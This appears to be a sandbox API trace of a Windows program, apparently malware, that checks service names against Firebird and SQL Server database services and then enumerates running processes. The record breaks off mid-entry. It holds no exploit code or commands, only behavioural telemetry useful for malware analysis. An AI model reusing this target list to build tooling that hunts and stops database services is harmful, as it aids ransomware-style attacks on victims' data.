[0161.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0161.698] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0161.698] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0161.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0161.698] lstrlenW (lpString="CDPSvc") returned 6 [0161.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0161.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0161.699] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0161.699] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0161.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0161.699] lstrlenW (lpString="ClipSVC") returned 7 [0161.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0161.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0161.699] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0161.699] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0161.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0161.699] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0161.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0161.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0161.699] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0161.699] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0161.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0161.699] lstrlenW (lpString="CryptSvc") returned 8 [0161.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0161.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0161.699] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0161.699] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0161.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0161.699] lstrlenW (lpString="DcomLaunch") returned 10 [0161.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0161.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0161.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0161.699] lstrlenW (lpString="Dhcp") returned 4 [0161.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0161.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0161.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0161.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0161.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0161.699] lstrlenW (lpString="Dnscache") returned 8 [0161.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0161.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0161.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0161.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0161.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0161.699] lstrlenW (lpString="DoSvc") returned 5 [0161.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0161.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0161.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0161.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0161.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0161.699] lstrlenW (lpString="DPS") returned 3 [0161.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0161.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0161.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0161.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0161.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0161.699] lstrlenW (lpString="DusmSvc") returned 7 [0161.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0161.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0161.700] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0161.700] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0161.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0161.700] lstrlenW (lpString="EventLog") returned 8 [0161.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0161.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0161.700] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0161.700] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0161.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0161.700] lstrlenW (lpString="EventSystem") returned 11 [0161.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0161.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0161.700] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0161.700] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0161.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0161.700] lstrlenW (lpString="gpsvc") returned 5 [0161.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0161.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0161.700] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0161.700] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0161.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0161.700] lstrlenW (lpString="iphlpsvc") returned 8 [0161.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.700] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0161.700] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0161.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0161.700] lstrlenW (lpString="KeyIso") returned 6 [0161.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0161.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0161.700] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0161.700] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0161.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0161.700] lstrlenW (lpString="LanmanServer") returned 12 [0161.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0161.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0161.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0161.700] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0161.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0161.700] lstrlenW (lpString="LanmanWorkstation") returned 17 [0161.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0161.700] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0161.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0161.700] lstrlenW (lpString="lfsvc") returned 5 [0161.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0161.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0161.700] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0161.700] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0161.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0161.701] lstrlenW (lpString="LicenseManager") returned 14 [0161.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0161.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0161.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0161.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0161.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0161.701] lstrlenW (lpString="lmhosts") returned 7 [0161.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0161.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0161.701] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0161.701] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0161.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0161.701] lstrlenW (lpString="LSM") returned 3 [0161.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0161.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0161.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0161.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0161.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0161.701] lstrlenW (lpString="MpsSvc") returned 6 [0161.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0161.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0161.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0161.701] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0161.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0161.701] lstrlenW (lpString="NcbService") returned 10 [0161.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0161.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0161.701] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0161.701] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0161.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0161.701] lstrlenW (lpString="netprofm") returned 8 [0161.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0161.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0161.701] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0161.701] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0161.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0161.701] lstrlenW (lpString="NlaSvc") returned 6 [0161.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0161.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0161.701] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0161.701] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0161.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0161.701] lstrlenW (lpString="nsi") returned 3 [0161.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0161.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0161.701] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0161.701] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0161.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0161.701] lstrlenW (lpString="PcaSvc") returned 6 [0161.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0161.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0161.702] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0161.702] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0161.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0161.702] lstrlenW (lpString="PlugPlay") returned 8 [0161.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0161.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0161.702] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0161.702] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0161.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0161.702] lstrlenW (lpString="Power") returned 5 [0161.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0161.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0161.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0161.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0161.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0161.702] lstrlenW (lpString="ProfSvc") returned 7 [0161.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0161.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0161.702] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0161.702] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0161.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0161.702] lstrlenW (lpString="RpcEptMapper") returned 12 [0161.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.702] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0161.702] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0161.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0161.702] lstrlenW (lpString="RpcSs") returned 5 [0161.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0161.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0161.702] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0161.702] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0161.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0161.702] lstrlenW (lpString="SamSs") returned 5 [0161.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0161.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0161.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0161.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0161.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0161.702] lstrlenW (lpString="Schedule") returned 8 [0161.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0161.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0161.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0161.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0161.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0161.702] lstrlenW (lpString="SecurityHealthService") returned 21 [0161.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0161.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0161.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0161.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0161.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0161.702] lstrlenW (lpString="SENS") returned 4 [0161.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0161.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0161.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0161.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0161.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0161.703] lstrlenW (lpString="ShellHWDetection") returned 16 [0161.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.703] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0161.703] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0161.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0161.703] lstrlenW (lpString="sppsvc") returned 6 [0161.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0161.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0161.703] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0161.703] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0161.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0161.703] lstrlenW (lpString="SSDPSRV") returned 7 [0161.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0161.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0161.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0161.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0161.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0161.703] lstrlenW (lpString="StateRepository") returned 15 [0161.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0161.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0161.703] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0161.703] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0161.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0161.703] lstrlenW (lpString="SysMain") returned 7 [0161.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0161.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0161.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0161.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0161.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0161.703] lstrlenW (lpString="SystemEventsBroker") returned 18 [0161.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0161.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0161.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0161.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0161.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0161.703] lstrlenW (lpString="Themes") returned 6 [0161.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0161.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0161.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0161.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0161.704] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0162.087] Process32FirstW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.087] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.087] lstrlenW (lpString="System") returned 6 [0162.088] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.088] lstrlenW (lpString="smss.exe") returned 8 [0162.088] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.088] lstrlenW (lpString="csrss.exe") returned 9 [0162.089] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.089] lstrlenW (lpString="wininit.exe") returned 11 [0162.089] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.090] lstrlenW (lpString="csrss.exe") returned 9 [0162.090] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.090] lstrlenW (lpString="winlogon.exe") returned 12 [0162.090] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.090] lstrlenW (lpString="services.exe") returned 12 [0162.091] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.091] lstrlenW (lpString="lsass.exe") returned 9 [0162.091] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.091] lstrlenW (lpString="svchost.exe") returned 11 [0162.092] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.092] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.092] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.092] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.092] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.093] lstrlenW (lpString="svchost.exe") returned 11 [0162.093] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.093] lstrlenW (lpString="dwm.exe") returned 7 [0162.093] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.094] lstrlenW (lpString="svchost.exe") returned 11 [0162.094] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.094] lstrlenW 